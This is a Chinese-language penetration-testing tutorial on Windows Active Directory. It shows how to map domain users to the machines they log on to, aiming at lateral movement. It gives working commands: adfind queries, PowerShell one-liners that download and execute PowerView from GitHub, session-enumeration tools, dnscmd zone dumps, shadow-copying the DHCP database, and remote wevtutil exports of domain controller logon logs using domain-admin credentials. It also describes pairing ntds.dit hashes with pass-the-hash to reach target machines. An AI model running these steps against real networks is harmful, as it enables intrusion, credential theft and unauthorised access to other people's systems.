域用户默认可以登录域内所有计算机,为什么默认情况下所有的域用户可以登录所有的域成员机器呢?因为域管理员在新增用户时 该域用户默认就会存在域用户组中(domain users),而默认加入域的域成员机器其本地的user组中包含了全局的domain users 组成员,而域成员机器本地组策略中 允许在本地登陆 属性中包含了本地users组。 所以域管理员为了安全通常会限制域用户只能登陆指定计算机。
第一种方法是设置域用户只能登陆到指定计算机;可通过在使用在域管理员账号在域控制器进行设置。如下图
在渗透中可以通过查询的域用户的userWorkstations属性查看 其指定登陆的机器 可以用adfind用来查询
adfind -h 192.168.221.130 -sc u:test
adfind -h 192.168.221.130 -sc u:test | findstr userWorkstations //非域权限执行需要指定账户密码
当然使用powerview可以实现:
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1');Get-NetUser -Domain test.xcsec.com > C\Programdata\test.txt" //domain参数请加完整的域名
userworkstations : 08SER 可以看到userworkstations指定的机器
第二种设置方案通过修改组策略实现,设置方法比较灵活
在域成员机器中打开Secpol.msc,依次展开计算机配置-策略-windows设置-安全设置-本地策略-用户权限分配,通过修改属性 "允许本地登陆" 中包含的组实现,设置方法比较灵活;
可以在该属性中只允许本地管理员组用户登陆,然后把指定域用户加入到的域成员机器本地管理员组。或者通过直接在该"允许本地登陆"中添加想要登陆的组和域成员名即可 //打开secpol.msc 需要本地管理员权限或者域管理员权限
如上即可实现该域成员机器指定仅域用户test\12121登陆
若管理员如上设置我们可通过查询计算机的本地管理员来获取域用户和计算机的关系。使用powerview可以实现:
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1');Invoke-EnumerateLocalAdmin > C:\Programdata\test.txt"
当然在没有拿到域管权限前也可用 PVEFindADUser.exe
psloggedon.exe
netsess.exe
hunter.exe
等来进行活跃用户和域成员机器的关系对应的,这些工具基本都使用了NetSessionEnum API
在拿到了域管的情况下,可以通过导出dc上面dns解析记录 和dc 系统安全日志以及域活动目录ntds.dit ip地址 对应 用户名 对应 ntlmhash,然后配合hash传递做到精准打击目标机器;
当然你也可以直接给用户设置登陆脚本,达到指定用户登陆时执行命令
关于dns 解析的记录导出,通常dc默认都是dns服务器,所以自带dnscmd这个工具
例子如下
dnscmd 127.0.0.1 /enumrecords test.xcsec.com test.xcsec.com. /type A //利用dnscmd导出dns正向解析记录
dnscmd 127.0.0.1 /zoneprint test.xcsec.com >1.txt //
具体用法:https://technet.microsoft.com/zh-cn/library/cc772069
如果该dc也是dhcp服务器,可以使用dhcpcmd进行查看,也可以使用卷影复制c:\windows\system32\dhcp\dhcp.mdb 进行离线查看dhcp配置
关于dc日志的导出,我们可以使用wevtutil.exe psloglist.exe 或者powershell 的Get-WinEvent模块进行日志导出;2003的域控可使用eventquery.vbs导出
已windows自带的wevtutil为例,导出日志
wevtutil qe security /f:text /q:*[System[(EventID=4624)]] #查询登录日志语法wevtutil qe security /rd:true /f:text /q:"*[system/eventid=4624 and 4623 and 4627]" #查询所有登录、注销相关的日志语法
wevtutil qe security /rd:true /f:text /q:"*[system/eventid=4624 and 4623 and 4672]" /r:dc1 /u:administrator /p:password #远程查询时在后面加入/r:computer /u:user /p:password 比如查询dc1上的登录注销日志
wevtutil 支持很多过滤语法,若有需要请查看官方说明
导出域控登录日志到域控上:
wevtutil epl Security C:\ProgramData\dc.evtx /q:"*[EventData[Data[@Name='LogonType']='3'] and System[(EventID=4624) and TimeCreated[timediff(@SystemTime) <= 2592000000]]]" /r:域控IP /u:域管 /p:域管密码
本地使用LogParser日志分析工具整理导出的日志,然后去除重复数据、无效数据(以$
结束的用户名):
LogParser.exe -i:EVT -o txt "SELECT TO_UPPERCASE(EXTRACT_TOKEN(Strings,5,'|')) as USERNAME,TO_UPPERCASE(EXTRACT_TOKEN(Strings,18,'|')) as SOURCE_IP FROM C:\ProgramData\log.evtx" > C:\ProgramData\log.txt
tips: 很多朋友说导出来的日志查询不到一些用户和机器的对应的关系;请将所有域控的日志都导出来,因为域成员机本身配置域内dns并不是都一样的,并且在进行登陆验证所请求的域控也是通过dclocater 算法进行查找。